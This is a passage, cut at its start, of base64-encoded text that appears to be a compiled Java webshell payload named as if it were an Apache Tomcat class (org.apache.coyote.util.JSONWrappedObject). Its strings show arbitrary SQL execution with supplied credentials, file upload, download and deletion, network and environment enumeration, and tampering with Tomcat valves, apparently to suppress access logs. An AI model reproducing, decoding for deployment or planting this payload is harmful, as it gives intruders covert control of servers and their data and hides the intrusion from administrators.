88BAAZkYlR5cGUIA9EBAAZkYkhvc3QIA9MBAAZkYlBvcnQIA9UBAApkYlVzZXJuYW1lCAPXAQAKZGJQYXNzd29yZAgD2QEACGV4ZWNUeXBlCAPKCgB1A9wMACYD3QEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWCAPfAQAsY29tLm1pY3Jvc29mdC5zcWxzZXJ2ZXIuamRiYy5TUUxTZXJ2ZXJEcml2ZXIIA+EBAB9vcmFjbGUuamRiYy5kcml2ZXIuT3JhY2xlRHJpdmVyCAPjAQAYb3JhY2xlLmpkYmMuT3JhY2xlRHJpdmVyCAPlAQAYY29tLm15c3FsLmNqLmpkYmMuRHJpdmVyCAPnAQAVY29tLm15c3FsLmpkYmMuRHJpdmVyCAPpAQAVb3JnLnBvc3RncmVzcWwuRHJpdmVyCAPrAQAPb3JnLnNxbGl0ZS5KREJDCAPtAQAFbXlzcWwIA+8BAA1qZGJjOm15c3FsOi8vCAPxAQABOggD8wEAdT91c2VTU0w9ZmFsc2Umc2VydmVyVGltZXpvbmU9VVRDJnplcm9EYXRlVGltZUJlaGF2aW9yPWNvbnZlcnRUb051bGwmbm9EYXRldGltZVN0cmluZ1N5bmM9dHJ1ZSZjaGFyYWN0ZXJFbmNvZGluZz11dGYtOAgD9QEABm9yYWNsZQgD9wEAEmpkYmM6b3JhY2xlOnRoaW46QAgD+QEABTpvcmNsCAP7AQAJc3Fsc2VydmVyCAP9AQARamRiYzpzcWxzZXJ2ZXI6Ly8IA/8BAApwb3N0Z3Jlc3FsCAQBAQASamRiYzpwb3N0Z3Jlc3FsOi8vCAQDAQAGc3FsaXRlCAQFAQAMamRiYzpzcWxpdGU6CAQHAQAFamRiYzoKAAEECQwECgQLAQANZ2V0Q29ubmVjdGlvbgEATShMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL0Nvbm5lY3Rpb247CgQNBAkHBA4BABZqYXZhL3NxbC9Ecml2ZXJNYW5hZ2VyCwQQBBIHBBEBABNqYXZhL3NxbC9Db25uZWN0aW9uDAQTBBQBAA9jcmVhdGVTdGF0ZW1lbnQBABYoKUxqYXZhL3NxbC9TdGF0ZW1lbnQ7CAQWAQAGc2VsZWN0CAQYAQADb2sKCwQaBBwHBBsBABJqYXZhL3NxbC9TdGF0ZW1lbnQMBB0EHgEADGV4ZWN1dGVRdWVyeQEAKChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL1Jlc3VsdFNldDsLBCAEIgcEIQEAEmphdmEvc3FsL1Jlc3VsdFNldAwEIwQkAQALZ2V0TWV0YURhdGEBAB4oKUxqYXZhL3NxbC9SZXN1bHRTZXRNZXRhRGF0YTsLBCYEKAcEJwEAGmphdmEvc3FsL1Jlc3VsdFNldE1ldGFEYXRhDAQpANcBAA5nZXRDb2x1bW5Db3VudAgEKwEAAiVzCwQmBC0MBC4BtwEADWdldENvbHVtbk5hbWUKAAEEMAwEMQBDAQAMYmFzZTY0RW5jb2RlCwQgBDMMBDQBtwEACWdldFN0cmluZwsEIAQ2DAOOAYULBCAAoQsEGgChCwQQAKELBBoEOwwEPAImAQANZXhlY3V0ZVVwZGF0ZQgEPgEAClF1ZXJ5IE9LLCAKAW4EQAwBegRBAQAbKEkpTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7CARDAQAOIHJvd3MgYWZmZWN0ZWQIBEUBAANubyAIBEcBAAcgRGJ0eXBlCARJAQBITm8gcGFyYW1ldGVyIGRiVHlwZSxkYkhvc3QsZGJQb3J0LGRiVXNlcm5hbWUsZGJQYXNzd29yZCxleGVjVHlwZSxleGVjU3FsAQAHY2hhcnNldAEACmNvbm5lY3RVcmwBAAZkYkNvbm4BABVMamF2YS9zcWwvQ29ubmVjdGlvbjsBAAlzdGF0ZW1lbnQBABRMamF2YS9zcWwvU3RhdGVtZW50OwEACXJlc3VsdFNldAEAFExqYXZhL3NxbC9SZXN1bHRTZXQ7AQAIbWV0YURhdGEBABxMamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGE7AQAJY29sdW1uTnVtAQALYWZmZWN0ZWROdW0IBFcBAAppbnZhbGlkYXRlAQANYmlnRmlsZVVwbG9hZAgEWgEADGZpbGVDb250ZW50cwgEXAEACHBvc2l0aW9uCgH2BF4MACYEXwEAFihMamF2YS9sYW5nL1N0cmluZztaKVYHBGEBABhqYXZhL2lvL1JhbmRvbUFjY2Vzc0ZpbGUIBGMBAAJydwoEYARlDAAmBGYBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KVYKBGAEaAwEaQGqAQAEc2VlawoEYAFQCgRgAKEBABpMamF2YS9pby9SYW5kb21BY2Nlc3NGaWxlOwEAD2JpZ0ZpbGVEb3dubG9hZAgEbwEABG1vZGUIBHEBAAtyZWFkQnl0ZU51bQgEcwEACGZpbGVTaXplCgB1BHUMAYwEdgEAFShKKUxqYXZhL2xhbmcvU3RyaW5nOwgA1goBtAR5DAGMBHoBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvSW50ZWdlcjsKAbQEfAwEfQDXAQAIaW50VmFsdWUKAosAZwoCiwSADASBBIIBAARza2lwAQAEKEopSgoAAQSEDASFBIYBAAZjb3B5T2YBAAcoW0JJKVtCCASIAQAHbm8gbW9kZQEAEXJlYWRCeXRlTnVtU3RyaW5nAQAOcG9zaXRpb25TdHJpbmcBAAhyZWFkRGF0YQoEjQSPBwSOAQAOamF2YS9sYW5nL01hdGgMBJAEkQEAA21pbgEABShJSSlJAQAIb3JpZ2luYWwBAAluZXdMZW5ndGgBAAthcnJheU9mQnl0ZQgElgEADGphdmEudmVyc2lvbgoAdQSYDASZBJoBAAlzdWJzdHJpbmcBABYoSUkpTGphdmEvbGFuZy9TdHJpbmc7CQABBJwMABoAEwgEngEAEGphdmEubGFuZy5TeXN0ZW0IBKABAAZnZXRlbnYJAAEEogwAGwATCASkAQANamF2YS51dGlsLk1hcAEACmpyZVZlcnNpb24JAAEEpwwAHAATCASpAQAWamF2YS5zcWwuRHJpdmVyTWFuYWdlcgoATQSrDASsBK0BABFnZXREZWNsYXJlZEZpZWxkcwEAHCgpW0xqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsKBK8BkgcEsAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkCASyAQAGcml2ZXJzCQABBLQMAB0AEwgEtgEADmphdmEudXRpbC5MaXN0CgSvBLgMBLkASwEAB2dldFR5cGUKBLsEvQcEvAEAImphdmEvbGFuZy9yZWZsZWN0L0FjY2Vzc2libGVPYmplY3QMBL4EvwEADXNldEFjY2Vzc2libGUBAAQoWilWCgSvAHwHBMIBAA5qYXZhL3V0aWwvTGlzdAsEwQOHCQABBMUMAB4AEwgExwEAD2phdmEuc3FsLkRyaXZlcgcEyQEAD2phdmEvc3FsL0RyaXZlcgcEywEAFGphdmEvdXRpbC9Qcm9wZXJ0aWVzCgTKACgIBM4BAAR1c2VyCgMpALoIBNEBAAhwYXNzd29yZAsEyATTDATUBNUBAAdjb25uZWN0AQA/KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL3V0aWwvUHJvcGVydGllczspTGphdmEvc3FsL0Nvbm5lY3Rpb247AQAIdXNlck5hbWUBAApjb25uZWN0aW9uAQAGZmllbGRzAQAaW0xqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAdkcml2ZXJzAQAQTGphdmEvdXRpbC9MaXN0OwEABmRyaXZlcgEAEUxqYXZhL3NxbC9Ecml2ZXI7AQALZHJpdmVySW5mb3MBAApwcm9wZXJ0aWVzAQAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzOwoE5ATmBwTlAQAZamF2YS9uZXQvTmV0d29ya0ludGVyZmFjZQwE5wMtAQAUZ2V0TmV0d29ya0ludGVyZmFjZXMKBOQE6QwE6gMtAQAQZ2V0SW5ldEFkZHJlc3NlcwcE7AEAFGphdmEvbmV0L0luZXRBZGRyZXNzCgTrBO4MBO8AZQEADmdldEhvc3RBZGRyZXNzCwTBAvELBMEE8gwDAQTzAQAVKClbTGphdmEvbGFuZy9PYmplY3Q7CgJBBPUMAIgE9gEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwEABmlwTGlzdAEAEW5ldHdvcmtJbnRlcmZhY2VzAQAQbmV0d29ya0ludGVyZmFjZQEAG0xqYXZhL25ldC9OZXR3b3JrSW50ZXJmYWNlOwEADWluZXRBZGRyZXNzZXMBAAtpbmV0QWRkcmVzcwEAFkxqYXZhL25ldC9JbmV0QWRkcmVzczsBAAJpcAgDUwgFAQEAG25vIG1ldGhvZCBnZXRSZWFsUGF0aE1ldGhvZAgFAwEAFnNlcnZsZXRDb250ZXh0IGlzIE51bGwBABFnZXRSZWFsUGF0aE1ldGhvZAEACXJldE9iamVjdAoBcQUHDAUIAYUBAAZkZWxldGUBAAFmAQABeAEAAmZzAQBLKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7BwUOAQASW0xqYXZhL2xhbmcvQ2xhc3M7AQATW0xqYXZhL2xhbmcvT2JqZWN0OwEAB2NsYXNzZXMBAAJvMQEADnBhcmFtZXRlckNsYXNzCgBNBRQMBRUAUQEAEWdldERlY2xhcmVkTWV0aG9kCgBNBRcMBRgASwEADWdldFN1cGVyY2xhc3MBAA1nZXRGaWVsZFZhbHVlAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsKAE0FHAwFHQUeAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEACWZpZWxkTmFtZQgFIQEAB2NvbnRleHQKAAEFIwwFGQUaCAUlAQAJZ2V0UGFyZW50CgABBScMAG8FDAgFKQEAC2dldFBpcGVsaW5lCAUrAQAIZ2V0Rmlyc3QIBS0BAAxnZXRDb25kaXRpb24IBS8BAAxzZXRDb25kaXRpb24IBTEBAAdGdWNrTG9nCAUzAQAHZ2V0TmV4dAgFNQEAGW9yZy5hcGFjaGUuY2F0YWxpbmEuVmFsdmUKAE0FNwwAXAU4AQA9KExqYXZhL2xhbmcvU3RyaW5nO1pMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylMamF2YS9sYW5nL0NsYXNzOwEAEmFwcGxpY2F0aW9uQ29udGV4dAEACWNvbnRhaW5lcgEACWFycmF5TGlzdAEACHBpcGVsaW5lAQAFdmFsdmUBAAljb25kaXRpb24BABJzZXRBdHRyaWJ1dGVNZXRob2QBAARuYW1lAQAFYnl0ZXMKAAEFQwwEMQVEAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAA3NyYwEAA29mZgEAA2VuZAEAA2RzdAEAB2xpbmVtYXgBAAlkb1BhZGRpbmcBAAZiYXNlNjQBAAJzcAEABHNsZW4BAAJzbAEAAmRwAQADc2wwAQADc3AwAQADZHAwAQAEYml0cwEABGRsZW4BAAJiMAEAAmIxAQAMYmFzZTY0RGVjb2RlCgJBBVkMAkQFWgEABihbSUkpVgcFXAEAImphdmEvbGFuZy9JbGxlZ2FsQXJndW1lbnRFeGNlcHRpb24IBV4BAC1JbnB1dCBieXRlIGFycmF5IGhhcyB3cm9uZyA0LWJ5dGUgZW5kaW5nIHVuaXQKBVsAZwgFYQEAKUxhc3QgdW5pdCBkb2VzIG5vdCBoYXZlIGVub3VnaCB2YWxpZCBiaXRzAQAJYmFzZTY0U3RyAQAIcGFkZGluZ3MBAAJbSQEAB3NoaWZ0dG8BAApTb3VyY2VGaWxlAQAMcGF5bG9hZC5qYXZhAQAob3JnL2FwYWNoZS9jb3lvdGUvdXRpbC9KU09OV3JhcHBlZE9iamVjdAEAKkxvcmcvYXBhY2hlL2NveW90ZS91dGlsL0pTT05XcmFwcGVkT2JqZWN0OwAhAAEAAwAAABMAGQAFAAYAAAAAAAcACAAAAAAACQAIAAAAAAAKAAsAAAAAAAwACwAAAAAADQALAAAAAAAOAA8AAAAAABAAEQAAAAgAEgATAAEAFAAAAAAACAAVABMAAQAUAAAAAAAIABYAEwABABQAAAAAAAgAFwATAAEAFAAAAAAACAAYABMAAQAUAAAAAAAIABkAEwABABQAAAAAAAgAGgATAAEAFAAAAAAACAAbABMAAQAUAAAAAAAIABwAEwABABQAAAAAAAgAHQATAAEAFAAAAAAACAAeABMAAQAUAAAAAAA1AAgAHwAgAAEAIQAAAbYABAAAAAABghBAvAVZAxBBVVkEEEJVWQUQQ1VZBhBEVVkHEEVVWQgQRlVZEAYQR1VZEAcQSFVZEAgQSVVZEAkQSlVZEAoQS1VZEAsQTFVZEAwQTVVZEA0QTlVZEA4QT1VZEA8QUFVZEBAQUVVZEBEQUlVZEBIQU1VZEBMQVFVZEBQQVVVZEBUQVlVZEBYQV1VZEBcQWFVZEBgQWVVZEBkQWlVZEBoQYVVZEBsQYlVZEBwQY1VZEB0QZFVZEB4QZVVZEB8QZlVZECAQZ1VZECEQaFVZECIQaVVZECMQalVZECQQa1VZECUQbFVZECYQbVVZECcQblVZECgQb1VZECkQcFVZECoQcVVZECsQclVZECwQc1VZEC0QdFVZEC4QdVVZEC8QdlVZEDAQd1VZEDEQeFVZEDIQeVVZEDMQelVZEDQQMFVZEDUQMVVZEDYQMlVZEDcQM1VZEDgQNFVZEDkQNVVZEDoQNlVZEDsQN1VZEDwQOFVZED0QOVVZED4QK1VZED8QL1WzACKxAAAAAgAkAAAAGgAGAAAAOwBbADwA2QA9AVcAPgF+ADsBgQA+ACUAAAACAAAAAQAmACAAAQAhAAAAQgADAAEAAAAQKrcAJyq7AClZtwArtQAssQAAAAIAJAAAAA4AAwAAADMABAA/AA8ANQAlAAAADAABAAAAEAAuBWkAAAABACYAMAABACEAAABNAAMAAgAAABEqK7cAMSq7AClZtwArtQAssQAAAAIAJAAAAA4AAwAAADgABQA/ABAAOQAlAAAAFgACAAAAEQAuBWkAAAAAABEAMwA0AAEAAQA1ADYAAQAhAAAAPQAEAAIAAAAJKisDK763ADewAAAAAgAkAAAABgABAAAASAAlAAAAFgACAAAACQAuBWkAAAAAAAkAOwAPAAEAAQA8AD0AAQAhAAACMwADAAYAAAD7KhI+tgBATCoSRLYAQE0sxgDCK8cARyq2AEYsAbYATE4ttgBSsgBXWccAHFcSWbgAWlmzAFenAA+7AF5aX7YAYLcAZr+2AGmZAA0tKgG2AG3AAHGwEnK2AHSwKrQAeSu2AHvAAE1OLcYAZC22AH46BBkEKrQALLYAglcZBLYAhlcqtAAsEom2AHs6BRkFxgA6sgBXWccAHFcSWbgAWlmzAFenAA+7AF5aX7YAYLcAZr8ZBbYARrYAaZkACRkFwABxsBKLtgB0sAO8CLASjbYAdLASj7YAdLBMuwCRWbcAk027AJRZLLcAlk4rLbYAmS22AJ0ttgCgLLYAo7AACQAsADEAOACmAJgAnQCkAKYAAABTANcAYQBUAFkA1wBhAFoAwADXAGEAwQDGANcAYQDHAMoA1wBhAMsA0ADXAGEA0QDWANcAYQACACQAAAByABwAAABNAAcATgAOAE8AEgBQABYAUQAgAFIASgBTAFQAVQBaAFgAZgBZAGoAWgBwAFsAegBcAIAAXQCLAF4AkABfALsAYADBAGIAxwBlAMsAaADRAGwA1wBuANgAbwDgAHAA6QBxAO4AcgDyAHMA9gB0ACUAAABmAAoAAAD7AC4FaQAAAAcA0ACoAKkAAQAOAMkARQCpAAIAIAA6AKoAqwADAGYAawCsABMAAwBwAFsArQALAAQAiwBAAK4ACwAFANgAIwCvALAAAQDgABsAsQARAAIA6QASALIAswADAAEAtAAgAAEAIQAAAgIABgALAAAA8Cq0ACy2ALUqtAAsErgqtAB5tgC5Vyq0ACwSvSq0AL62ALlXKrQALBLAKrQAwbYAuVcqtAAsEsMqtADEtgC5Vyq0AMZMuwDIWSu3AMpNuwCRWbcAk04BOgQHvAg6BQE6BrsAzVkstwDPOgcZB7YA0pE2CBUIAqAABqcAZRUIBaAAVrsAdVkttgCjtwDYOgQZBxkFtgDZVxkFuADeNgkVCbwIOgYDNgoVChkHGQYVChkGvhUKZLYA4WBZNgoZBr6h/+gqtAAsGQQZBrYAuVcttgDkp/+ZLRUItgDnp/+QLbYA6yy2AOwZB7YA7acABToHsQABAGAA6gDtAO4AAgAkAAAAggAgAAAAegAHAHwAFQB9ACMAfgAxAH8APwCBAEQAgwBNAIUAVQCHAFgAiABdAIkAYACLAGoAjQByAI4AeACPAHsAkQCBAJIAjgCUAJYAlgCdAJgAowCaAKYAnADBAJ4AzQCgANEAoQDUAKIA2gCMAN0ApgDhAKcA5QCoAOoAqQDvAK4AJQAAAHAACwAAAPAALgVpAAAARACsAPAADwABAE0AowDxAPIAAgBVAJsA8wARAAMAWACYAPQAqQAEAF0AkwD1AA8ABQBgAJAA9gAPAAYAagCAAPcA+AAHAHIAaAD5APoACACdADQA+wD8AAkApgArAP0A/AAKAAEAhACFAAEAIQAAAFgAAgACAAAAGCvGABUqK7YA/pkADSoqtADBtwEBBKwDrAAAAAIAJAAAABIABAAAALEADACyABQAswAWALUAJQAAABYAAgAAABgALgVpAAAAAAAYAQUACwABAAEBAACFAAEAIQAAAeEACAAEAAABLyvHAAUDrLIBBlnHAB1XEwEIuABaWbMBBqcAD7sAXlpftgBgtwBmvyu2AEa2AGmZAA0qK8AAkbUBCgOsKisTAQy3AQ6ZAAsqK7UAvqcAWyorEwEStwEOmQALKiu1AL6nAEiyAFdZxwAcVxJZuABaWbMAV6cAD7sAXlpftgBgtwBmvyu2AEa2AGmZAA4qK8AAcbUAxqcAEyorEwEUtwEOmQAIKiu1AMQqK7cBFiq0AL7GAH4qtADGxwB3Kiq0AL4TARkEvQBNWQOyARtZxwAdVxMBHbgAWlmzARunAA+7AF5aX7YAYLcAZr9TBL0AR1kDEwEfU7YBIU4txgA1sgBXWccAHFcSWbgAWlmzAFenAA+7AF5aX7YAYLcAZr8ttgBGtgBpmQALKi3AAHG1AMYErAAEAA4AFAAbAKYAaQBuAHUApgDPANUA3ACmAQMBCAEPAKYAAgAkAAAAWgAWAAAAvAAEAL0ABgC/ADEAwAA5AMEAOwDCAEYAwwBLAMQAWQDFAF4AxgCLAMcAkwDIAKEAyQCmAMsAqwDNALkAzgDpAM8A8wDOAPcA0AD7ANEBJQDSAS0A1gAlAAAAIAADAAABLwAuBWkAAAAAAS8BBQALAAEA9wA2ASUACwADAAIBGAEEAAEAIQAAAPAABAAFAAAAbiortgBGEwEmAbYBKE0qK7YARhMBLAG2AShOKiu2AEYTAS4BtgEoOgQsxgAUKrQAvscADSosKwG2AG21AL4txgAUKrQAwccADSotKwG2AG21AMEZBMYAGSq0AMTHABIqGQQrAbYAbbUAxKcABE2xAAEAAABpAGwA7gACACQAAAAuAAsAAADbAA0A3AAaAN0AKADeADMA3wA9AOEASADiAFIA5ABeAOUAaQDnAG0A6gAlAAAANAAFAAAAbgAuBWkAAAAAAG4BBQALAAEADQBcATAAqwACABoATwExAKsAAwAoAEEBMgCrAAQAAgEQAREAAQAhAAAA1gAFAAYAAABYK8cABQOsAz4BOgQsBL0AR1kDEwEzU7gBNbgBOVk6BMYADRkEK7YARrYAaT4dmgApLAS9AEdZAxMBO1O4ATW4ATlZOgTGABIZBCu2AEa2AGk+pwAFOgUdrAABAAsAUQBUAO4AAgAkAAAAKgAKAAAA7QAEAO4ABgDwAAgA8QALAPMAIgD0ACwA9gBHAPcAUQD6AFYA/QAlAAAANAAFAAAAWAAuBWkAAAAAAFgBBQALAAEAAABYAT0AqQACAAgAUAE+AT8AAwALAE0BQAATAAQAAQCIAGUAAQAhAAABOAADAAMAAACMAUwqtAEKxgBdKrcBQbsBRFkqtAEKtwFGTSq2AUcqtAAsEwFJtgB7xgAdKrYBS1cqKrQALBMBSbYAe8AAcbUAxiq2AUcsKrYBS7YBTSy2AVEqtAEKtgDrpwAQTSy2AGBMpwAHEwFUTCoBtQDEKgG1AQoqAbUALCoBtQDGKgG1AMEqAbUAvioBtQB5K7AAAQAJAFcAWgBhAAIAJAAAAGIAGAAAAQMAAgEEAAkBBgANAQgAGQEKAB0BCwAqAQwALwENAEABDgBEAREATAESAFABFABXARYAWwEXAGABGQBjARoAZwEcAGwBHQBxAR4AdgEfAHsBIACAASEAhQEiAIoBIwAlAAAAKgAEAAAAjAAuBWkAAAACAIoBVgCpAAEAGQA+AVcBWAACAFsABQCvALAAAgACAUMAIAABACEAAACyAAMAAgAAAFAqtAB5xwBLKhK4tgFZxgAXKioSuLYBWcAAKbUAeacAIEynABwquwApWbcAK7UAeSoSuCq0AHm2AV2nAARMKrQAeccADiq7AClZtwArtQB5sQACABAAHQAgAO4ALwA5ADwA7gACACQAAAAuAAsAAAEnAAcBKAAQASoAHQErACEBLgAkAS8ALwExADkBMgA9ATYARAE3AE8BOgAlAAAADAABAAAAUAAuBWkAAAABAEIAQwABACEAAABkAAQAAwAAABa7AHVZKrQALCu2AHvAAHG3ANiwTQGwAAEAAAASABMA7gACACQAAAAOAAMAAAE/ABMBQAAUAUIAJQAAACAAAwAAABYALgVpAAAAAAAWAPQAqQABABQAAgCvAWEAAgABAWIBYwABACEAAABdAAIAAwAAAA8qtAAsK7YAe8AAcbBNAbAAAQAAAAsADADuAAIAJAAAAA4AAwAAAUgADAFJAA0BSgAlAAAAIAADAAAADwAuBWkAAAAAAA8A9ACpAAEADQACAK8BYQACAAEBZAA9AAEAIQAAADEAAQABAAAABxMBZbYAdLAAAAACACQAAAAGAAEAAAFPACUAAAAMAAEAAAAHAC4FaQAAAAEBZwA9AAEAIQAAA/UABgAKAAACpyoTAWi2AEBMK8YClyu2AWpMuwB1WbcBbU27AW5ZtwFwuwFxWSu3AXO2AXS2AXgTAXy2AX62AYE6BLsBcVkZBLcBczoFGQW2AYKZAjMZBbYBhjoGuwFuWSy4AYq3AY4TAWW2AX62AYFNuwFuWSy4AYq3AY4TAY+2AX62AYFNuwFuWSy4AYq3AY4ZBLYBfrYBgU27AW5ZLLgBircBjhMBj7YBfrYBgU0ZBsYB8wM2CKcBwxkGFQgyTrsBblksuAGKtwGOLbYBkbYBfrYBgU27AW5ZLLgBircBjhMBlLYBfrYBgU27AW5ZLLgBircBji22AZaZAAkTAZmnAAYTAZu2AX62AYFNuwFuWSy4AYq3AY4TAZS2AX62AYFNuwFuWSy4AYq3AY67AZ1ZEwGftwGhuwGiWS22AaS3Aai2Aau2AX62AYFNuwFuWSy4AYq3AY4TAZS2AX62AYFNuwFuWSy4AYq3AY4ttgGwiLgBs7YBfrYBgU27AW5ZLLgBircBjhMBlLYBfrYBgU27AW5ZLbYBuJkACRMBu6cABhMBvbgBircBji22Ab+ZAAkTAcKnAAYTAb22AX4qsgHEWccAHVcTAca4AFpZswHEpwAPuwBeWl+2AGC3AGa/EwHIAbYBKMYAFi22AcqZAAkTAcynAAwTAb2nAAYTAb22AX62AYE6B7sBblksuAGKtwGOGQfGAA4ZB7YBarYBzpoACRMB0KcABRkHtgF+tgGBTbsBblksuAGKtwGOEwGPtgF+tgGBTacAMToJuwFuWSy4AYq3AY4ZCbYAYLYBfrYBgU27AW5ZLLgBircBjhMBj7YBfrYBgU2ECAEVCBkGvqH+O6cAIhMB0rYAdLA6BBMB1AS9AEdZAxkEtgBgU7gBNbYAdLAstgB0sBMB1rYAdLAAAwG9AcMBygCmALcCPQJAAO4AGQKCAoMA7gACACQAAACuACsAAAFTAAgBVAAMAVUAEQFWABkBWQA5AVoARAFbAEwBXABTAV4AaAFfAH0BYACRAWEApgFiAKsBYwCxAWQAtwFmAM0BZwDiAWgBBAFpARkBagEuAWsBPwFqAUMBbAFYAW0BcgFuAYcBbwG0AXAB4AFxAfMBcgH2AXAB+QFvAf4BcwIoAXQCPQF1AkIBdgJZAXcCbgFjAnkBewJ8AXwCgwF+AoUBfwKbAYECoAGDACUAAABwAAsAAAKnAC4FaQAAAAgCnwFpAKkAAQAZAocB2ACpAAIAtwG6AdkB2gADADkCSgHbAKkABABEAj8B3AHaAAUAUwImAd0B3gAGAf4AQgHfAKkABwCuAcsB4AD8AAgCQgAsAK8BYQAJAoUAFgCvAWEABAABAeEAZQABACEAAACpAAMABAAAAEm4AeJMuwB1WbcBbU0DPqcAM7sBblksuAGKtwGOKx0ytgHltgF+tgGBTbsBblksuAGKtwGOEwHotgF+tgGBTYQDAR0rvqH/zSywAAAAAgAkAAAAHgAHAAABiAAEAYkADAGKABEBiwApAYwAPgGKAEcBjgAlAAAAKgAEAAAASQAuBWkAAAAEAEUB3QHeAAEADAA9AdgAqQACAA4AOQHgAPwAAwABAeoAPQABACEAAAGGAAUABwAAAKgqEwHrtgBATCoTAe22AEBNK8YAkCzGAIwBTrsB71krtwHxtgHyOgS7AfZZLLcB+E4RFAC8CDoFAjYGpwAMLRkFAxUGtgH5GQQZBbYB/Fk2BgKg/+wttgH/LbYCAhkEtgIDEwFltgB0sDoELcYAFS22AgKnAA46BRkFtgBgtgB0sBMCBAW9AEdZAxkEtgBGtgIGU1kEGQS2AGBTuAE1tgB0sBMCB7YAdLAAAgAaAGcAaADuAG4AcgB1AgkAAgAkAAAAWgAWAAABkgAIAZMAEAGUABgBlQAaAZcAJwGYADABmQA3AZoAOgGbAD0BnABGAZsAVAGeAFgBnwBcAaAAYQGhAGgBogBqAaMAbgGlAHIBpgB3AacAgAGqAKEBrQAlAAAAXAAJAAAAqAAuBWkAAAAIAKAB7ACpAAEAEACYAe4AqQACABoAhwAQAgsAAwAnAEEA9wIMAAQANwAxAPYADwAFADoALgINAPwABgBqADcArwFhAAQAdwAJAg4CDwAFAAECEAA9AAEAIQAAA50ABwANAAACCSoTAhG2AEBMKhMCE7YAQE0qEwIVtgBAThMCFzoEK8YB4CzGAdwtxgHYuwFxWS23AXM6BRMCGSu2AhuZAH4qsgHEWccAHVcTAca4AFpZswHEpwAPuwBeWl+2AGC3AGa/EwIcBL0ATVkDsgIeU7YBKMYAQSwTAbu2AiMCnwAKGQUEtgInVywTAcK2AiMCnwAKGQUEtgIrVywTAcy2AiMCnwAKGQUEtgItVxMBZToEpwFWEwIwOgSnAU4TAjIrtgIbmQEfKrIBxFnHAB1XEwHGuABaWbMBxKcAD7sAXlpftgBgtwBmvxMCNAS9AE1ZA7ICNlO2ASjGAOK7AaJZCbcBqDoGuwI5WbcCOzoHGQcstgI8VxANGQe2Aj9kvAU6CBkIEDC4AkAZBxkItgJGV7sBolkZBrYCSRkHtgJMuAJNYbcBqDoGGQUZBrYCSbYCUVcTAWU6BBMCVLgAWjoJEwJWuABaOgoTAli4AFo6CxkJxgCWGQrGAJEZC8YAjC0DvQB1uAJasgJfWccAHVcTAla4AFpZswJfpwAPuwBeWl+2AGC3AGa/A70CYbgCY8ACaToMGQwZBrYCSbgCaxkGtgJJuAJrGQa2Akm4Amu5AnEEAKcANToJpwAwEwJ1OgSnACgTAnc6BKcAIDoFEwJ5BL0AR1kDGQW2AGBTuAE1tgB0sBMCezoEGQS2AHSwAAUARgBMAFMApgDLANEA2ACmAYoBkAGXAKYBUwHOAdEA7gApAeMB5gDuAAIAJAAAAMYAMQAAAbMACAG0ABABtQAYAbYAHQG3ACkBuQAzAboAPQG7AHIBvAB9Ab0AhAG/AI8BwACWAcIAoQHDAKgBxQCtAcYAsAHHALUByQDCAcoA9wHLAQEBzAEKAc0BEQHOAR0BzwEkAdABLAHRAUMB0gFOAdMBUwHWAVsB2AFhAdcBYwHZAWsB2gF6AdwBggHdAacB3AGtAdsBrwHeAbkB3wHJAd4BzgHiAdMB5QHWAeYB2wHpAd4B6gHjAewB6AHtAf4B8AIDAfIAJQAAAI4ADgAAAgkALgVpAAAACAIBAhIAqQABABAB+QIUAKkAAgAYAfECFgCpAAMAHQHsAT4AqQAEADMBsAHZAdoABQEBANICfQJ+AAYBCgDJAn8CgAAHAR0AtgKBAAYACAFbAHMCggATAAkBYwBrAoMAEwAKAWsAYwKEABMACwGvAB8ChQKGAAwB6AAWAK8BYQAFAAEChwA9AAEAIQAAAawABgAHAAAArCoTAhW2AEBMK8YAnLsBcVkrtwFzTSy2AYKZAHwstgKImQB1LLYBsIi8CE4tvp4AMAM2BLsCi1kstwKNOgUVBBkFLRUELb4VBGS2ApBgWTYELb6h/+sZBbYCkacAORMCkrwIOgS7AotZLLcCjToFGQUZBLYCkzYGFQaeABIVBrwIThkEAy0DLb64ApQZBbYCkQE6BC2wEwKatgB0sE4ttgBgtgB0sBMCnLYAdLAAAgAVAJQAnADuAJUAmwCcAO4AAgAkAAAAcgAcAAAB9wAIAfgADAH5ABUB+wAjAfwAKwH9ADAB/gAzAf8APQIAAEQCAQBJAgAAUAIBAFICAABVAgMAWgIEAF0CBQBkAgYAbgIHAHcCCAB8AgkAgQIKAIsCDACQAg0AkwIPAJUCEQCcAhMAnQIUAKUCFwAlAAAAZgAKAAAArAAuBWkAAAAIAKQCFgCpAAEAFQCQAdkB2gACACsAagD2AA8AAwAzACcA/QD8AAQAPQAdAp4CnwAFAGQALwKgAA8ABABuACUCngKfAAUAdwAcAqEA/AAGAJ0ACACvAWEAAwABAqIAPQABACEAAADiAAMABQAAAFIqEwIVtgBATCoTAqO2AqVNK8YAOizGADa7AXFZK7cBc04ttgKnV7sB9lkttwKqOgQZBCy2AqsZBLYCAhMBZbYAdLBOLbYAYLYAdLATAqy2AHSwAAEAGABBAEIA7gACACQAAAAyAAwAAAIcAAgCHQAQAh4AGAIgACECIQAm